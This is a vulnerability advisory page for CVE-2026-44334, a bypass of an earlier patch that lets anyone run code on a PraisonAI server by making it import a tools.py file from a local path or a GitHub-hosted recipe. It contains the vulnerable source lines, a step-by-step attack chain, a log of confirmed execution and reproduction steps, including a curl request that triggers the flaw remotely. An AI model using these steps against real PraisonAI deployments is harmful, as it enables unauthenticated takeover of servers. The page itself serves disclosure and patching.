CVE-2026-44334

GHSA-xcmw-grxf-wjhj HIGH
Published May 6, 2026

## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every...

Full CISO analysis pending enrichment.

Affected Systems

Package Ecosystem Vulnerable Range Patched
praisonai pip >= 4.5.139, <= 4.6.31 4.6.32
1 dependents 82% patched ~0d to patch Full package profile →

Do you use praisonai? You're affected.

Severity & Risk

CVSS 3.1
8.4 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

Attack Surface

AV AC PR UI S C I A
AV Local
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

Recommended Action

Patch available

Update praisonai to version 4.6.32

Compliance Impact

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-44334?

PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)

Is CVE-2026-44334 actively exploited?

No confirmed active exploitation of CVE-2026-44334 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44334?

Update to patched version: praisonai 4.6.32.

What is the CVSS score for CVE-2026-44334?

CVE-2026-44334 has a CVSS v3.1 base score of 8.4 (HIGH).

Technical Details

NVD Description

## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required. ## Patch coverage gap CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at: | File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same | But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched: ```python # tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if template_dir: 343 tools_py = Path(template_dir) / "tools.py" 344 if tools_py.exists(): 345 try: 346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module 347 registry.update(tools) 348 except Exception: 349 pass ``` `load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution. ## Attack chain ``` HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ``` The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction. ## Confirmed execution (2026-04-25, praisonai 4.6.31) ``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ``` The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent. ## Reproduction (local-path variant) Files under `pocs/praisonai-cve-2026-40287-bypass/`: - [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata - [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir) - [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) - [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run` ```bash pip install 'praisonai[serve]==4.6.31' # Terminal 1 python server.py # Terminal 2 python exploit.py ``` Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process. ## Reproduction (remote GitHub variant) ```bash # Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo) curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}' ``` No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
May 6, 2026
Last Modified
May 6, 2026
First Seen
May 7, 2026

Related Vulnerabilities